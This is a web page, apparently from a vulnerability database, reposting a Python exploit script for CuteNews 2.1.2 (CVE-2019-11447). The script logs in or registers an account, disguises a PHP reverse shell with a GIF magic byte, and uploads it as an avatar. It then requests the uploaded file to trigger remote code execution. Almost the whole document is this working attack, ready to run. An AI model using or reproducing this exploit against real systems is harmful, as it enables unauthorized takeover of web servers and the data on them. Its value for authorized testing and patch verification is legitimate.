Wednesday, March 17, 2021

CuteNews 2.1.2 Shell Upload

#! /usr/bin/env python3

## Exploit Title: CuteNews 2.1.2 - Avatar upload RCE (Authenticated)
## Exploit Author: Mayank Deshmukh
## Date: 2021-03-17
## Vendor Homepage: https://cutephp.com/
## Software Link: https://cutephp.com/click.php?cutenews_latest
## Version: 2.1.2
## CVE: CVE-2019-11447
## CVE Reference: https://nvd.nist.gov/vuln/detail/CVE-2019-11447
## Tested on: Kali GNU/Linux 2020.3
## Author website: https://coldfusionx.github.io
## Author email: [email protected]
## Detailed POC: https://github.com/ColdFusionX/CVE-2019-11447_CuteNews-AvatarUploadRCE

import requests
import sys
import re
import argparse, textwrap

#Expected Arguments
parser = argparse.ArgumentParser(description="CuteNews 2.1.2 - Avatar upload RCE (Authenticated) by ColdFusionX", formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent('''

Exploit Usage :
./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[^] Select your PHP file -> rev.php
OR
[^] Select your PHP file -> ~/Downloads/rev.php
[^] Press y/n to trigger reverse shell -> y

'''))

parser.add_argument("-l","--url", help="CuteNews URL (Example: http://127.0.0.1)")
parser.add_argument("-u","--username", help="Username to Login/Register")
parser.add_argument("-p","--password", help="Password to Login/Register")
parser.add_argument("-e","--email", help="Email to Login/Register")
args = parser.parse_args()

if len(sys.argv) <= 8:
print (f"Exploit Usage: ./exploit.py -h [help] -l [url] -u [username] -p [password] -e [email ID]")
sys.exit()

# Variables
Host = args.url
Username = args.username
Password = args.password
Email = args.email

r = requests.session()

## Use this for Proxy
#r.proxies.update( { 'http':'http://127.0.0.1:8080' } )

# Login check
def login():
init = r.get(f"{Host}/CuteNews/index.php")
cookie = init.cookies.get('CUTENEWS_SESSION')

headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
cookie = {
'CUTENEWS_SESSION':cookie
}

postcontent = {
'action' : 'dologin',
'username' : f"{Username}",
'password' : f"{Password}",
}

login = r.post(f'{Host}/CuteNews/index.php', data = postcontent, cookies= cookie, headers = headerscontent, allow_redirects= False)

if 302 == login.status_code:
print (f"[+] User exists ! Logged in Successfully")
return True

# Registering User
def register():

headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
postcontent = {
'action' : 'register',
'regusername' : f"{Username}",
'regnickname' : f"{Username}",
'regpassword' : f"{Password}",
'confirm' : f"{Password}",
'regemail' : f"{Email}"
}

registration = r.post(f'{Host}/CuteNews/index.php?register', data = postcontent, headers = headerscontent, allow_redirects= False)

if 302 == registration.status_code:
print (f"[+] Credentials {Username}:{Password} Successfully Registered")
else:
sys.exit()

# Avatar upload
def upload():

keys = r.get(f"{Host}/CuteNews/index.php?mod=main&opt=personal")
signature_key = re.search('signature_key" value="(.*?)"', keys.text).group(1)
signature_dsi = re.search('signature_dsi" value="(.*?)"', keys.text).group(1)

# Grab PHP reverse shell from : https://github.com/pentestmonkey/php-reverse-shell
MalFile = input("[^] Select your PHP file -> ")

# Adding Magic Byte to PHP file

with open(MalFile, 'r') as original: data = original.read()
print()
print ("[*] Adding Magic Byte to PHP file")
with open(MalFile, 'w') as modified: modified.write("GIF8;\n" + data)

Efile = open(MalFile, 'rb')

headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
files = {
"mod" : (None, "main"),
"opt" : (None, "personal"),
"__signature_key" : (None, f"{signature_key}"),
"__signature_dsi" : (None, f"{signature_dsi}"),
"editpassword" : (None, ""),
"confirmpassword" : (None, ""),
"editnickname" : (None,Username),
"avatar_file" : (f"{Username}.php", Efile ) ,
"more[site]" : (None, ""),
"more[about]" : (None, "")
}
shell_upload = r.post(f"{Host}/CuteNews/index.php", headers = headerscontent, files = files)

# Removing Magic Byte from PHP file
with open(MalFile,"r+") as f:
new_f = f.readlines()
f.seek(0)
for line in new_f:
if "GIF8;" not in line:
f.write(line)
f.truncate()

if 'User info updated!' in shell_upload.text:
print ("[+] Upload Successful !!")
print (f"[*] File location --> {Host}/CuteNews/uploads/avatar_{Username}_{Username}.php")
print ()

Trig = input("[^] Press y/n to trigger PHP file -> ")
if Trig == 'y':
print ("[*] Check listener for reverse shell")
shell = r.get(f"{Host}/CuteNews/uploads/avatar_{Username}_{Username}.php")
else:
print ("[*] Execution Completed")
sys.exit()
elif 'Error: avatar is not correct' in shell_upload.text:
print ()
print ("[*] Uploading Failed ! Try again")
else:
sys.exit()

if __name__ == "__main__":

print ('[+] CuteNews 2.1.2 - Avatar Upload RCE exploit by ColdFusionX \n ')
if login() == True:
upload()
else:
register()
upload()
print ("[*] Execution Completed")


 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated